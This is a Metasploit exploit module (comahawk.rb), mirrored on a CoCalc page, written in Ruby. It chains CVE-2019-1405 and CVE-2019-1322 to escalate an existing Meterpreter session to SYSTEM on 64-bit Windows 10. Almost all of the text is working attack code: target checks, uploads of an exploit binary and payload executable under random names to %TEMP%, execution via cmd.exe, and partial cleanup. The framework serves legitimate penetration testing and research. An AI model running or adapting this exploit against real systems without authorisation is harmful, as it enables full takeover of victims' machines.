CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/comahawk.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::Common
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Msf::Exploit::EXE
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',
19
'Description' => %q{
20
This exploit uses two vulnerabilities to execute a command as an elevated user.
21
The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to
22
NT AUTHORITY\LOCAL SERVICE
23
The second (CVE-2019-1322) leverages the Update Orchestrator Service to
24
elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)
29
'hoangprod', # PoC
30
'bwatters-r7' # msf module
31
],
32
'Platform' => ['win'],
33
'SessionTypes' => ['meterpreter'],
34
'Targets' => [
35
['Windows x64', { 'Arch' => ARCH_X64 }]
36
],
37
'DefaultTarget' => 0,
38
'DisclosureDate' => '2019-11-12',
39
'References' => [
40
['CVE', '2019-1322'],
41
['CVE', '2019-1405'],
42
['EDB', '47684'],
43
['URL', 'https://github.com/apt69/COMahawk'],
44
['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],
45
['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']
46
],
47
'DefaultOptions' => {
48
'DisablePayloadHandler' => false
49
},
50
'Compat' => {
51
'Meterpreter' => {
52
'Commands' => %w[
53
stdapi_sys_config_getenv
54
]
55
}
56
}
57
)
58
)
59
60
register_options([
61
OptString.new('EXPLOIT_NAME',
62
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
63
OptString.new('PAYLOAD_NAME',
64
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
65
OptString.new('WRITABLE_DIR',
66
[false, 'Path to write binaries (%TEMP% by default).', nil]),
67
OptInt.new('EXPLOIT_TIMEOUT',
68
[true, 'The number of seconds to wait for exploit to finish running', 60]),
69
OptInt.new('EXECUTE_DELAY',
70
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
71
])
72
end
73
74
def exploit
75
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
76
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
77
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
78
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
79
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
80
payload_path = "#{temp_path}\\#{payload_name}"
81
exploit_path = "#{temp_path}\\#{exploit_name}"
82
payload_exe = generate_payload_exe
83
84
# Check target
85
vprint_status('Checking Target')
86
validate_active_host
87
validate_target
88
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
89
90
# Upload Exploit
91
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
92
ensure_clean_destination(exploit_path)
93
exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')
94
write_file(exploit_path, exploit_bin)
95
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
96
97
# Upload Payload
98
vprint_status('Uploading Payload')
99
ensure_clean_destination(payload_path)
100
write_file(payload_path, payload_exe)
101
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
102
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
103
104
# Run Exploit
105
vprint_status('Running Exploit')
106
print_status('It may take a moment after the session is established for the exploit to exit safely.')
107
begin
108
cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
109
rescue Rex::TimeoutError => e
110
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
111
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
112
end
113
vprint_status("Cleaning up #{exploit_path}")
114
ensure_clean_destination(exploit_path)
115
end
116
117
def validate_active_host
118
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
119
rescue Rex::Post::Meterpreter::RequestError => e
120
elog('Could not connect to session', error: e)
121
raise Msf::Exploit::Failed, 'Could not connect to session'
122
end
123
124
def validate_target
125
if sysinfo['Architecture'] == ARCH_X86
126
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
127
end
128
version = get_version_info
129
vprint_status("OS version: #{version}")
130
unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809)
131
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
132
end
133
end
134
135
def ensure_clean_destination(path)
136
return unless file?(path)
137
138
print_status("#{path} already exists on the target. Deleting...")
139
begin
140
file_rm(path)
141
print_status("Deleted #{path}")
142
rescue Rex::Post::Meterpreter::RequestError => e
143
elog(e)
144
print_error("Unable to delete #{path}")
145
end
146
end
147
end
148
149